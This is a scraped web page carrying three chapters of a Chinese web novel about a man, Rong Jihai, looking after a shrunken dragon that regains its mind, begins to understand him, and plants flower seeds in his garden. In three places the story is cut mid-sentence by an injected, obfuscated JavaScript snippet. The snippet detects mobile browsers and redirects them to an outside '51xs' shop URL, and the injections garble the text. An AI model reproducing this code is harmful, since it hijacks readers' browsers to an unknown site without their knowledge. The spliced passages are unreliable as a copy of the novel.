荣纪海看了小龙的方向一会儿,在对方周身,逐渐浓郁起来的气息暗示着小龙身体内部变化的速度。 粗略估算了一下,荣纪海定了个闹钟。 “得在它醒来前再检查一下……” —— 那是它……已经不记得确切岁数时的事情。 应该是成长期的时候。 它低头,视野里的前爪爪子尖端锋利而有光泽,但最尖的部分仍微微透明着,如果强硬地抵在更加坚硬的物体上,那块透明的部分便会被压弯。 虽然不至于断裂,但被压弯的样子对于它而言还是有点丢脸的。 是了,这是具正在成长的身体。 它四下看看,发现自己正身处两层树丛中间,想要挪动脚步时,却被不知名的力量困缚在原地。 它有些困惑,但很快明白过来——这是它的回忆梦境,在这里,它的思维或者说真正的灵魂仅仅是附着在梦里这具身体上,但无法操纵这具身体做出任何违反当时情况的动作。 好吧,所以这到底是哪段记忆。 它在脑内端端正正坐下,已经对这被迫穿梭在各个梦境里的现状麻木了。 我还能醒来吗? 它眼前突然出现了那个人类的模样。 如果是那个人类的话……应该能找到方法吧。 思索间身体动了起来,有些生疏地避开纠缠交错的枝干,钻出树丛。 ——啊,原来是这一段。 人类已经建起了自己的巢穴,这个物种似乎很喜欢被遮蔽的环境,这与龙的习性截然相反——龙最喜爱的就是随时随地都能原地起飞的巢穴。 但人类似乎热衷于把自己关在封闭的洞穴里,甚至自己做的巢穴都要有遮挡。 父母曾说过,人类的身体很脆弱。 天上的水对于龙来说,唯一的危险性也只有可能浇灭自己尾巴上的火焰——但那本身就没什么作用。而对于人类来说,却是可能致命的威胁。 这不是它第一次私自靠近人类的领地。它清楚地记得。 但这是最后一次。 火焰在地上的坑里燃烧,身体避开了能够映射出它的鳞片的火光,滚进人类巢穴间隙里的黑暗中。 人类领地里的声音似乎嘈杂了起来,透过身体的眼睛看出去,间隙外人类的影子被火光投射到地面上,拉出好长好长的一条,如有实体一般将这具身体困在缝隙里,无处可逃。 它知道后来发生了什么。 幼年期人类的声音在它身后响起,那时的它完全听不懂人类的语言——虽然哪怕是现在的人类语言,似乎也与当时它曾听过的天差地别,因此也无从判断那个人类究竟想做什么。 人类张开自己的前爪,似乎想要抓住它。 它看着自己的身体应激地弓起,那只很小很小的人类前爪急速接近着。 不是人类在接近它,而是它在靠近人类。 鲜血的气味在它的口腔中爆发,那是它第一次尝到人类的血是什么味道的。 原来和龙的,也没什么区别。 它知道接下来会发生什么,某种意义上,那成为了改变它一生的其中一个关键节点。 它正想继续看下去,体内突然躁动的力量却叫嚣着要冲破这具小小身体的束缚。 要醒来了啊。 它顺从地让梦境之力将自己带离那个身体,视野回归一片黑暗,体内的力量仍然在不安地鼓动着,渴求着身躯的禁锢被放开。 但是……这是一个机会。 它的龙瞳微缩,瞳孔最深处,金色的光芒缓缓跳动起来,力量的流向再次被改变,以一个全新的方式重新流淌起来。 如果这次能成功,也许…… 人类的模样再次出现在它的脑海里,一片黑暗中,唯有那个身影似乎自带了光源。它描摹着那个身影的模样,流向细微地依照人类的样子进行调整。 不,也许现在还太早了,或许可以……先尝试一下。 它在最后关头调转了流向,身体稍微膨胀了点,蓬勃的力量得到了一定解放,疼痛感褪去少许,回归到了不会影响行动的程度。 嗯,就这样吧。 再让我看看吧,如果是你的话,还会做出什么事情来。 —— 龙睁开双眼。 14. 第六天·变化 荣纪海在手机闹钟响起的下一秒醒来,天色还只是蒙蒙亮,并没有什么能够刺穿他的眼皮的光线,这让他好受不少。 他关掉闹钟,睁开眼睛时下意识地仰头。 是有点透蓝的天空。 他眨眨眼。 等等,龙呢? 荣纪海猛地起身,重心改变差点弄倒了行军床。他有些慌乱地四处张望,试图找到一点龙的踪迹。 就在他即将要动用感知时,一声“呜”的长音在院子中央响起。 这个声音是…… 荣纪海顺着声音来源低头,在那只原本用来托着小龙的枕头上发现了本应恢复原状的龙。 “为什么没恢复?”荣纪海心下一惊,快走几步来到小龙面前,就要伸手感受龙体内的情况。 小龙歪歪头,安静地看着他。 不对。 荣纪海猛然停住动作,手僵在半空中。 这个眼神…… 小龙的龙瞳里一片澄明,一瞬不瞬地只是专注地看着荣纪海,好像周遭的一切都与它无关。 荣纪海眼神闪烁了一下,慢慢放下手,轻柔地落在小龙不知何时绕到前爪旁的尾巴上,握住对方的尾尖。 小龙的尾尖在他的手心里弹了弹,而小龙的头只是转过去看了一眼,尾尖便在荣纪海的手心里乖巧地伏了下来。 果然,虽然身体还是没恢复,但无疑已经出现变化了。 荣纪海很快便放开龙的尾巴,蹲低身子,以便与那对龙瞳对视。 “是你吗?”他轻声问道。 他预想中的回应,无非也就是龙继续歪头,或是发出那声代表着疑问的喉音。 但龙点了点头。 荣纪海先是松了口气,松到一半突然后知后觉地意识到刚刚小龙做了什么动作。 “你——你点头了?” 荣纪海克制不住地大喊出声,手一把抓住了小龙的翅膀。 小龙被荣纪海的动作吓到,翅膀尖端的骨刺闪出一道电光刺入荣纪海的手掌。 “嘶!”像是被电击,荣纪海本能地松开了手。 龙似乎自己也没想到自己会放出电光,急促地“呜呜”两声,头颅凑上来想要查看荣纪海的手掌。 荣纪海却会错了小龙的意,被突如其来的电击刺得恢复理智,连忙摆摆手,“抱歉,弄疼你了?” 龙凑过来的动作顿住,龙瞳从那只掌心有点焦黑的手上,移动到荣纪海的脸上。 那上面除了歉然与担忧,什么都没有。 龙眨眨眼,“呜鲁”了一声,同时摇了摇头。 荣纪海似乎是愣住了,久久地注视着龙,目光焦点却似乎并不在龙身上,而是透过龙的身体看到了什么,更加遥远的,过去与未来。 龙见荣纪海久久没有动静,拍打着翅膀飞起来前爪“啪叽”一下摁在荣纪海额前。 “?”荣纪海回过神来,被眼前放大的龙头冲击,下意识想退后一步,却忘了自己是正蹲着的,一后退便重心不稳跌坐在地。 “你……”荣纪海欲言又止,隔着这小段距离正好可以看清龙角上的细节。 上面的纹路已经全部恢复了。 荣纪海的目光下滑到龙身后的尾巴上——那里的尾巴尖从刚刚荣纪海看到它的第一眼起,便一直是光秃秃的状态,再也没有像昨天那样时不时就不稳定地爆出火星或火花。 如果从这两个部位的情况来看的话,龙无疑应该是恢复了才对,但为什么体型没有—— 等等,体型好像…… 荣纪海抬起手掌,在龙正拍打的翅膀前摊开。 龙不明所以地转头跟过去,用吻部碰了碰荣纪海的手心。 体型好像……变大了点?还是我记错了? 荣纪海茫然地无意识摸摸龙的龙角,作为龙触碰自己手心的回应。 而且,为什么一醒来突然能听懂人类语言了?是巧合——不不,肯定不是。 难道掩盖气息的副作用还包括让龙进化? 荣纪海无力地捏了捏自己后颈,“总感觉,最近发生的怪事有点频繁了啊。” 见龙依然关心地注视着自己,荣纪海扬起一抹安抚的笑容,双手捧住龙的四只爪子,“既然这样,我们进去吧?如果还是这个体型的话,也没必要睡在院子里了。” 龙的爪子踩住荣纪海的手掌,翅膀收拢贴合在背脊上,乖乖地让荣纪海抱进怀里。 荣纪海低头时只能看见龙翅膀背面上被遮住了一部分的焦黑抓痕。 虽然很想查看一下它体内的情况……但如果神智已经恢复成了原来的样子,大概也不能再贸然动用能力了。要是被察觉到身份……就麻烦了啊。 荣纪海叹了口气,被吹动的气流拂过龙角尖端,引得龙抬起前爪想摸,却碍于身体构造和前爪长度没能碰到。 “哈……”荣纪海轻笑一声,这回用另一只手先盖住了那对龙角。 —— 荣纪海带着似乎确实重了点的龙走进房门,谁知刚一走入客厅,龙突然从荣纪海的手臂间隙中钻了出去,荣纪海条件反射想抓时,指尖只堪堪擦过龙的尾尖。 “怎么了?” 话音未落,龙已停在了客厅角落里的纸箱上空,正好奇地低头看着里面的兔子。 对了,之前看兔子的时候,它的神智好像还没有变成幼年期的样子。 荣纪海心下有了猜测,走过去从电视柜底下抽出兔子吃的草和粮,“还记得吗?那是你送我的小兔子。” 龙“啪嗒啪嗒”地扇动翅膀,让自己悬停在半空中。听了荣纪海的话后,它若有所思地低头看看荣纪海正拎着袋子倒粮的手腕,又看看迅速开始吃饭的兔子。 倒完兔粮,荣纪海直起腰来,视线水平正好与龙悬停的高度齐平。他微微歪头看了看龙专注的眼神,那里面没有一丝陌生的,或是观察着的情态。 如果看兔子时还是它真正的神智,那吃饺子时呢? 荣纪海略微回忆了一下,想起冰箱里还有一些剩余的,本想也留给小龙吃的饺子。 既然如此,正好可以试探一下…… 荣纪海避开扇动着的翅膀,摸了摸龙的脊背,“我去给你找点吃的,不用跟来。” 龙不知是听没听懂,只是简单偏头看荣纪海一眼,又重新将注意力投回了兔子身上。 荣纪海转身往厨房走,边走边侧过脸,尽力用余光观察龙的动势。 龙只是始终保持着悬停的姿态一心一意地看兔子,明明先前注意力几乎都只放在他的身上,此时却莫名被兔子吸引了所有目光。 荣纪海疑惑地回想了一下古籍里提到的龙可能喜爱的东西,他很确定里面不会有兔子。 难道它是个特例?但之前甚至还想让我把兔子当食物吃来着…… 荣纪海进厨房前,借着进门的动作最后看了一眼龙。 那对龙瞳没有朝这边看过来哪怕一眼。 荣纪海怀着些许微妙的情绪背过手关上门,彻底隔绝了似乎也并不会投过来的视线。 果然应该是特例吧,不然怎么会那么在意那只兔子。 开火后,荣纪海看着锅底逐渐凝成的气泡,忍不住转头看看紧闭的门。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052625|149055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “……还是去看看好了。” 荣纪海打开了点门,探出半个身子去,却没有在纸箱上方找到龙的身影。 目光搜寻间才发现沙发靠背上多了团东西。 龙不知何时卧在了沙发靠背的顶端,正仰着头观察整个客厅的样貌与布局。 说起来,之前的小龙似乎对客厅的装饰没有起过兴趣。 荣纪海看着龙那一副像是最开始发现自己缩水时打量自己身体的好奇的姿态,决定煮饺子给龙吃的想法愈加坚定。 身后传来水沸腾的“咕嘟”声,荣纪海悄悄合上门。 —— 荣纪海端出饺子时,远远的,卧在沙发靠背上的龙直起身子,却没有立马飞过来,只是站在那儿看着荣纪海朝这边靠近。 直到荣纪海将盘子放在桌上,招手示意龙过来时,它才扇起翅膀,几乎是滑翔到桌面上。 龙好奇地对着还冒着热气的饺子左看看右看看,头凑过去轻嗅了嗅,四爪往前走了几步,显然是感兴趣的样子,却始终没有开口要吃。 完全不一样的做法呢……而且看起来像是第一次见到饺子的样子。 “之前真正的意识沉睡了吗……”荣纪海轻声推断。看着龙不断嗅闻却没有张嘴,荣纪海拿了筷子率先夹起一个放入口中。 龙顺着他的动作将荣纪海吃饺子的全程纳入眼底,再次低头嗅了嗅,总算张嘴叼了一个。 荣纪海观察着龙的举动,突然感到有点好笑。 “成年后明明那么警惕的,幼年期时却来什么吃什么啊?真是……还好你遇见的是——” 荣纪海愣神着放下筷子,目光复杂地看向正与口中的饺子打架的龙。 对啊,为什么会是我? 他的目光巡弋到龙的翅膀上,还有那早就看不出伤痕的脖颈。 翅膀上的伤显然不影响龙的飞行,他也猜到了龙大概也有自己的目的。 但是,天底下人类那么多,为什么偏偏会是自己呢? 只是巧合吗? 荣纪海干咽一下,拿出手机查看邮件。不知是老师最近比较忙还是什么原因,收件箱依然空空如也。 他深吸一口气,将手机放回去,再抬头时直直坠进那对金色的龙瞳里。 “!”荣纪海小惊一下,对龙扬起一个笑,“怎么了?不好吃吗?” 龙歪歪头,但这次,荣纪海直觉对方并不是在表达它听不懂。 但龙什么都没做,只是重新低头将一个饺子卷进嘴里。 荣纪海的手指抽动几下,放到桌下缓缓放松下神经。 直到这时,荣纪海看着龙与先前几乎一模一样的座位,与盘子的对比下,才第一次清晰地意识到龙的体型发生了什么变化。 如果仅仅只是变大了一点倒还简单。但明明不论龙角的花纹也好,尾巴尖上可控的火焰也好,甚至是抱着龙时感受到的鳞片的厚度——所有特征都表明,龙理应恢复了。 但为什么体型仅仅只是变大了一点呢? 过往十年的战斗告诉他,龙的体型往往与力量成正比。哪怕是不知真假来历的各路古籍中,也多多少少提及过简单判断龙的实力的方式,其中被提及最多的便是观察龙的体型。 也就是说,如果龙变小,力量应该也会同样缩水才对,这对龙来说毫无疑问是非常危险的状态。 但这头龙似乎,完全不担心的样子。 除非…… 荣纪海敛下眼中暗沉的情绪,不适地皱皱眉。 除非,并不是龙没能复原,而是龙主动地,故意没有复原……吗? 15. 第六天·龙与花 饭后,恢复了自己原装神智的龙为自己选择了一个娱乐活动——参观荣纪海的家。 荣纪海慢悠悠地跟在到处飞的龙身后,默默将对方好奇又不失分寸的模样尽收眼底。 “真奇怪,绝大多数动物通常都是幼年期的好奇心最旺盛,怎么到龙这儿反而成年期更旺盛了。”荣纪海看了半天,终于忍不住喃喃自语,在脑内的小册子上又记了一笔,还在末尾打了个问号。 龙自顾自地在走廊飞着,路过先前的书房时不知是还存有记忆还是单纯好奇,停在门前左右看了看,转头便盯着荣纪海。 “你忘了之前被熏到打喷嚏了?”荣纪海不敢冒险,要知道书房这种地方,但凡有一点小火星子都可能造成毁灭性的破坏。 见龙好似没听懂,荣纪海于是上前抬手在龙与门之间挡了一下,同时摇摇头。 龙遭受拒绝了也只是眨巴眨巴眼,没做任何表示,毫不失望地扭头继续飞走了。 当然,也可能有失望,只是荣纪海着实没法看出来了。 从这个角度来说,猫狗倒是比龙好懂。猫狗失望了还会撒娇委屈几声,成年期的龙喜怒不形于色,倒是幼年期的神智占据主体时,那些拍打的尾巴才能越过语言的障碍表达出自己的情绪。 如果成年期的——并且体型正常的龙,像幼年期那样拍打尾巴会怎么样? 荣纪海想象了一下这个场景,一秒不到便迅速清空了内存。 略微有点阴间了。物理意义的阴间。 思考间荣纪海不知不觉放缓了脚步,仅仅只是这几步,龙已经原路飞了回来,大抵是对走廊更深处的杂物间不太感兴趣。 龙飞过他身边时,翅膀掀起的微小气流扑过他的脸颊。荣纪海跟自带锁定功能似的跟了过去,意外地看着龙又径直飞进自己卧室。 “嗯?卧室有什么好看——的……” 啊。 荣纪海靠近门边时,正好看见龙凑到了摄像机黑洞洞的镜头前。 龙能理解什么是录像吗?荣纪海有些忐忑地靠过去,龙正好转了一圈又凑近了取景框,看见那上面与身前场景一模一样的画面时,喉间挤出一声上扬的低吟,这副身体下的听起来倒像是小动物撒娇那样“嘤”了一声。 龙转过头疑惑地望向荣纪海,荣纪海却无暇再与龙解释。他无法准确判断龙究竟懂得多少,也不清楚龙的底线。擅自录像这种事……不能赌啊。 于是荣纪海装作没看见那眼神地走到窗边,“我们去院子里看看吧?”他一手搭在窗边,在和煦的阳光下侧过脸朝龙微笑,鸟鸣恰到好处地响起,往日幻梦重现一般的场景让龙不由自主倾了倾身,像是被蛊惑了一样应声飞到荣纪海身边。 荣纪海还没来得及再说些什么,龙已经率先从窗口滑翔下去,徒留荣纪海无力地伸了伸臂。 “你倒是能直接飞下去,我怎么……”荣纪海无奈地笑笑,转身规规矩矩去走楼梯。 虽然他并不是不能直接下去,但起码在它面前“不能”。 不过,龙刚刚是又听懂了吗?它究竟是从什么时候开始能听懂的?荣纪海一边下楼一边争分夺秒地思考。难道真是睡醒之后?但是……若真仔细回忆的话,如果排除关于“吃”与“死亡”这两个特殊词,似乎第三天龙离开后再次回来的时候,就有表现出微妙的行为。 荣纪海总算想起那时被自己忽略的细节。 那时,他对龙说的话,好像都获得了龙的精准回应来着? 原来那么早吗……明明第一天见面时还是一副几乎全都听不懂的样子。 荣纪海摸了摸口袋里的手机,苦笑一下:“怎么最后,反而是你先学会了人类语言……龙的语言天赋这么高吗?” 等荣纪海终于出了门,在院子里看到龙的身影时,龙似乎已经探索了一圈院子,最终选择停留在了花坛边上。 荣纪海先走到那块浅坑中央捡起先前遗落在那儿的靠枕,拎着靠枕的一角才靠近龙。 “这里之前有花,不过现在都枯萎了。” 荣纪海在龙的眼神追随下用另一只空闲的手摸了摸那些与龙目前的身高大概等高的枯萎枝干,“我不会养花,以前还不小心养死过家里的植物,所以也不打算祸害这里的了。”他说这些话时,有些怀念又有些遗憾地用指尖拂过枝干,最后还是毫无留恋地抽走了。 “虽然已经枯萎了,但你最好也别咬哦。” 他的注意力放在那些枝干上,因此也没有注意到,当他说话时,龙看向他的眼神骤然柔和起来,金色的龙瞳间流转出婉转的光彩。 “嗷——”龙突然高亢地长嚎一声,在荣纪海看向它时跳进了花坛的泥土里,爪子规律地轮流踩着还略有些湿度的泥土,兴奋地又对着荣纪海长嚎,期待着什么的样子与荣纪海对视。 荣纪海满腔问号,看看龙先前站着的花坛边上,又看看龙脚下的泥土,竭尽全力猜测道:“你……是想种花?” 龙点点头,用前爪再次拍拍枯萎枝干旁的泥土。 “好好,我知道了,别踩了,一会儿又嫌弃得要洗。”明白了龙的意思,荣纪海连忙制止了龙试图把自己弄得更脏的行为。 龙迷惑的歪歪头。 ?这是没听懂的意思,还是不明白为什么要这么说的意思? 荣纪海有些头疼,但龙很快无意中给了他答案。 龙抬起一只爪子看了看,张开爪子抖了抖,才凑上去舔舐起来,同时翅膀扇动起来,让自己远离泥土,避免二次弄脏。 所以是听懂了? 那之前开车回来时的龙急切地想要冲洗……难道那个时候龙的原装神智就已经岌岌可危了吗…… 荣纪海将心中的时间线又提前了一些。 荣纪海看着枯萎的枝干,叹了口气,又犯起难来。 虽然答应了……但就凭自己这贫瘠的养花经验,就算种下去也基本不可能存活吧。 就连最近的经验都得追溯到童年时期了。那会儿被罚到了一个偏远的住处独自关禁闭,除了一个看管他不出意外的老管家外整个住处空无一人。闲得慌时他便喜欢去浇院子里的花消磨时间,正着浇一遍反着浇一遍,杂物间的各种工具都试了一遍,结果还没等到他结束紧闭离开,院子里的花早已全淹死了。 自那之后,哪怕长大了也懂事了,也依然再没碰过花。 龙等了半天,见荣纪海在那儿愣着神迟迟没反应,翘着尾巴思考了一会儿,无奈似的“呜鲁”了一声,“嗷呜”一口就咬住了荣纪海的衣角拉扯起来。 “……怎么了?”荣纪海不明所以,但放松地顺着龙的力道跟着龙走。 龙直到把他拉到车子旁时才松了口。 荣纪海看看车,有些迷茫。 用车?但我开车不止一次来着,这是想让我开去哪儿? 他迅速回溯了一遍龙的原装神智可能对车的印象。 “难道是……你想去你的窝?” 龙不知听没听懂,只是在他思考期间又开始扯动他的衣角。 “啊,好好,别扯了……总之先去看看吧,就算不是……那就当出门散步了。” 荣纪海开了车门,龙轻车路熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052626|149055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地先他一步飞进去,落座副驾驶。 荣纪海愣了一下才坐进去,“你倒是自觉。” 他倾身给龙照样拉下安全带,又把怀里被迫带上来的靠枕利落地扔到了后座。 这次龙依然把爪子放上去弹了弹,不同的是,龙看着荣纪海拉下安全带,身体被轻微勒住的样子,低头看了看自己的身体,竟尝试着用后爪支撑站立起来,好让侧着的安全带也能“勒”到自己。 “哎!”荣纪海下意识伸手扶了一下,才反应过来,哭笑不得地轻柔推龙坐下,“好了好了,站起来不就更不稳了。” 龙虽然没听懂,但见荣纪海让自己坐下,倒也听话地坐回原地。 —— 先前已去过窝一次,熟门熟路的,这次荣纪海开到时甚至比之前还要快上不少。 下车后龙在前面飞着“带路”,飞了半天龙疑惑地回头看一眼来路,又低头看看地面,抬头又远远眺望低洼地中央的那棵“独苗”树。 荣纪海见状憋不住笑出了声:“怎么,成年太久忘了自己小时候的飞行速度了?”他伸手捏了捏龙的小翅膀。 龙疑惑龙不解龙没听懂,但并不影响它感知到荣纪海这番话中调侃的语气。 但它只是象征性地朝荣纪海喷了口火焰,最外层的星子甚至都没有真正近到荣纪海的身。 好像……又被惯了? 荣纪海在龙这充满了温和意味的动作里感觉到熟悉的微妙情感,心里有块地方无可奈何地麻了麻。 待一人一龙终于走到树下时,荣纪海抬头看了看树冠,半信半疑地说道:“你带我来这里……之前你从上面扯下来果子,现在……上面不会还有花种吧?” 他猜对了。 荣纪海震惊地看着龙飞进树冠里窸窸窣窣找了半天,从上面扇下来一堆黑色的小种子到地上。他连忙手忙脚乱地去捡,避免种子混进泥土里找不到了。 “还真有啊……”荣纪海一言难尽地看着从树丛里钻下来的龙,伸手替对方摘了片戳进龙角里的叶子,“你们龙……还喜欢屯东西吗?没听说过这样的习性啊。” 龙矜持但骄傲地“嗷嗷”了两声。 —— 回到家后,荣纪海拿出临时用树叶包起来装在口袋里的种子,在龙亲爪刨出的坑里一点点种下去。 等待龙刨坑时,荣纪海用手机搜图拍了这包种子的样子,却没搜到任何真正相似的结果。 想要靠识图辨别种子也确实太难了。荣纪海预料之中地收起手机。 不过,等到这些种子长出来,大概就能知道到底什么花了吧? 龙收藏起来的花种会是什么珍稀品种吗?还是说会是完全没见过的? 荣纪海眼睁睁看着挖完坑的龙又回到已经埋好的种子旁,张口往小土堆上喷了一小撮火焰。 ……好吧,看起来应该不会是人类世界里会有的种类了。 荣纪海将剩下的花种一一种下去埋好,龙黏着在土堆上的火光在他脸上映出一层暖意。 连他自己都没发觉,他已经在自然而然地想象这些种子长成花的样子。童年时期看着一整个院子枯萎的花枝时流下的眼泪,似乎都被如今眼前的火光燃烧殆尽。 未来,这里会是什么样的呢? 荣纪海带着自己没有留意到的笑迎上龙,轻轻抹掉对方鼻尖不知何时沾到的泥土。 “希望到时候能一起看到你的花。”荣纪海发自内心地感叹着,龙蹭上来用舌头舔了舔他的脸颊。 …… “等等,你刚刚是不是舔过泥土?” 16. 第七天·预兆 荣纪海终于——他在好好地睁开眼,不用担心龙跑了或房子着了,也不用担心有老同事找上门来戳他心伤,几位旧友该聊的也都聊了之后——他终于能如此感叹: “这就是正常地睡下又正常地醒来的感受吗……真是久违了。”他自嘲地笑笑,虽然醒来的第一眼并没有在卧室里发现龙的身影,但他已经不会再担心什么了。 撑起身醒神时尾指擦到了枕边的手机屏幕,余光里有条特殊标记的消息提醒明晃晃地亮在屏幕中央。 荣纪海连忙打开手机——那是老师的回信。 这几天时间里虽然对面并没有回复,但荣纪海没有断过打包发过去的音频和视频,这会儿的回信大概是那边的老师给的统一分析回信。 这次的回信文字部分不算长,倒是在底下缀了几个文件,想必是用正文概括了一下,具体的细节都整理在了文件里。 但荣纪海并没有第一时间点开文件,相反,老师发来的正文内容更加引起了他的注意。 [纪海,根据录音与录像,我认为龙有明显的主动学习的倾向,也就是说,龙似乎也在通过你,学习人类的语言与探索人类的行为逻辑。也许,不仅是你在试探它,它也在试探你。如此一来,你要多加小心,虽然目前它没有做出带有明显敌意的行为,但目的不明,还要注意藏拙。 另外,从你的录音发现,如果这些大致就是这些天来龙发出的所有声音,那么我猜测,龙只对一些特定的人类词汇会发出特定意义的声音,而更多的时候,它似乎只是用同一种声音来表达类似的情绪,并不能够精准地指向某一种意思。打个比方的的话,倒是与人类语气词的用法类似。这也许指向这头龙曾经也接触过人类语言,甚至与这些语言有过一定程度上的互动。鉴于龙存在的时间比人类要长得多,不能确定它究竟是在哪个时间,在哪里学到的这些词语。 最后,根据你同我的文字描述,这头龙似乎对人类,起码是对你充满了友好的态度,就像它也在摸索与你和平相处的方式。根据你先前对于你们之间互动的描述,它对你有比较明确且清晰的呵护倾向,或者说它很可能把你,当做自己“龙”来看待,原因尚且不明。] 荣纪海神色平静地看到倒数第二段,直到视线下移,眼瞳中才出现了细微的波动。 最后一段中,老师问道: [纪海,你确定之前你从没见过这头龙吗?就算也许存在友好的个体,但龙对你的态度也未免太过自然了,根据你先前同我讲述的过去,这样的个体自然存在的可能性是非常非常小的,趋近于无。] 我当然从没见过。 荣纪海在心里默默回答。 如果说是古籍,那些甚至不知真假的记录中对龙的画像甚至都未曾统一;如果说是录像……他曾看过的录像确实不少,通体漆黑的龙也不少,但若要说“见过”,程度为龙能认出他,他却不能认出龙的,录像显然不符合这个条件;而如果说是……那个时候的话。 如果真的在那个时候,在战场上,在那个血肉纷飞的地方见过,那大概如今这一切在他与龙的第一次见面时就早已结束了吧。荣纪海不带情绪地笑笑,嘴角落下来时眉眼间却染上了些厌弃的神色。 以他们中一方杀死另一方的形式。 但是……老师说得没错,这也是他一直以来在刻意忽略的不和谐感——龙对他的态度实在是太自然又太熟稔了。 我真的……从没见过吗? 幽暗的夜晚,点点荧光的草坪,不远处草丛里小探照灯一样的两点光——如果说他的记忆中真的存在某一个可能见过不属于人类世界的物种的时刻,那最有可能的便是这一段了。 他的血脉虽然并不完全属于普通人的范畴,但记忆力倒是与常人无异。 儿时的记忆模糊的模糊,忘光的忘光。哪怕是仅存的还算清晰的回忆,也在未来的每一次回想中被不知不觉间扭曲改变。事到如今,他自己甚至也不清楚,那段奇怪的既视感究竟是他的一个梦境残影,还是曾真实发生过的往事了。 但就算那段场景是真实的,那两点像是动物的眼睛的光——也绝不属于龙。 荣纪海边换衣服边推断着。 先前龙意外变小的时候,对方的反应昭示着曾经从未发生过类似的事情。而他儿时到现在也不过二十来年,早已成年的龙又怎么会有那样小到足以藏身在草丛里的体型。 荣纪海没能回想出个所以然来,只得暂时放弃下床洗漱。 他换好了衣服便走向关着门的盥洗室,门拉开时,荣纪海慢半拍地一抬眼,正好看见了龙——龙吗? 荣纪海眨眨眼。 龙正背对着门的方向,浓烈的违和感便来自龙的脊背——翅膀消失了,而脊背上一大块区域的鳞片也不知为何不见踪影,取而代之的是一层肉色的肤质,中央那些突起的背刺倒还好端端地待着。 荣纪海揉了揉眼睛,再睁开时龙依然是那个姿势,只是翅膀与脊背上的鳞片都好好地待在那里。 “……嗯?” 听见动静,龙回过头来,见是荣纪海,便拍打着翅膀朝他飞来。 ……眼花了吗? 荣纪海没来得及细想,因为龙已经贴到了极近的距离,与他正好碰了碰鼻尖。 荣纪海一愣,极近距离下龙的鼻吻部都被扭曲放大,这视觉冲击让他条件反射地后退一步拉开点距离。 龙似乎也不是有意要靠这么近的,见荣纪海后退一步,自己也倒着飞了一点。 荣纪海回过神来,笑着隔空拍拍龙的头,“早上好。” 龙歪着头盯着荣纪海的嘴唇,居然张口学着他的音调“嗷嗷嗷”了三声。 荣纪海一眨不眨地注视着龙,对方似乎只是鹦鹉学舌般单纯地模仿,并不明白这三个字音组合起来的意思。 不过,照这个趋势的话,它可能真的会先学会人类语言啊。 荣纪海不知是该庆幸还是该感到点自卑,一言难尽地摇摇头。 “今天有什么想干的吗?”荣纪海边洗脸边问道,毛巾擦过眼睛时也始终留了点余光留意着龙的反应。 龙歪头,冲盥洗池里喷了口火焰打在池壁上。 荣纪海看着火焰消失,缓缓打出一个问号:“?你……应该不是想烧房子吧?如果是这个的话大概不行。” 龙观察着荣纪海的表情,苦恼地甩了甩尾巴,“啪”地一下一爪子拍在了水龙头上,偏过去时正好打开了水龙头。 荣纪海看着“哗哗”往外流的水,自己也一头雾水了。 龙见状“呜鲁”了一声,这回声音里不像是以前出现时比较放松又安稳,倒是有些焉巴,大概是无奈的意思。 荣纪海迅速洗漱完,看着尾巴垂落下来一动不动的龙叹了口气,“果然还是得能才交流方便啊。” 龙似乎是有些烦恼地甩了甩头,见荣纪海的动作停了,率先当着他的面从窗户飞了出去,又往下落到了看不见的地方。 院子里? 荣纪海快步跟了出去。 一走出大门,龙便已经习惯了他会从哪里出来那样,眼巴巴地与荣纪海的视线撞了个正着。 荣纪海看看龙站着的花坛边,又联想起当时龙打开水龙头的行为。 “你是想给种子浇水?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052627|149055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荣纪海猜测道,龙拍了拍花坛里的其中一个小土堆。 原来如此。 荣纪海看了眼天气,未来一周都是晴天。 他转身回杂物房里翻找,找了半天才翻出来一个黏满灰尘的小水壶。好在那个水壶大概不是铁做的,虽然灰尘已经凝成了絮甚至一片片的,但好歹是没生锈。 荣纪海拿着小水壶去院子里的水管上接水,龙亦步亦趋地跟在他脑后,在他一点点给每个小土堆浇完水后,龙便紧跟着朝上面吐火。 但与昨天不同的是,这次吐上去的火焰通体呈青色,最中心甚至有些发黑,不知与昨天的火焰有什么区别。 荣纪海边浇水边回头看着龙的行为,暗自肯定道:果然不是人类的植物。 而且…… 荣纪海浇完了水,让开一点让龙更自在地飞过去。 它轻车熟路的样子,就像曾经种过无数次似的。 荣纪海开口刚想问,却陡然意识到一个再次被他忽略的事情。 哪怕龙现在能听懂一些,但并不是完全都能听懂的。更何况,就算能听懂,也根本没办法真正回答他啊…… ——它似乎只是用同一种声音来表达类似的情绪,并不能够精准地指向某一种意思。 荣纪海微微有些失落,他竭力压制住内心深处涌上来的不满足感。 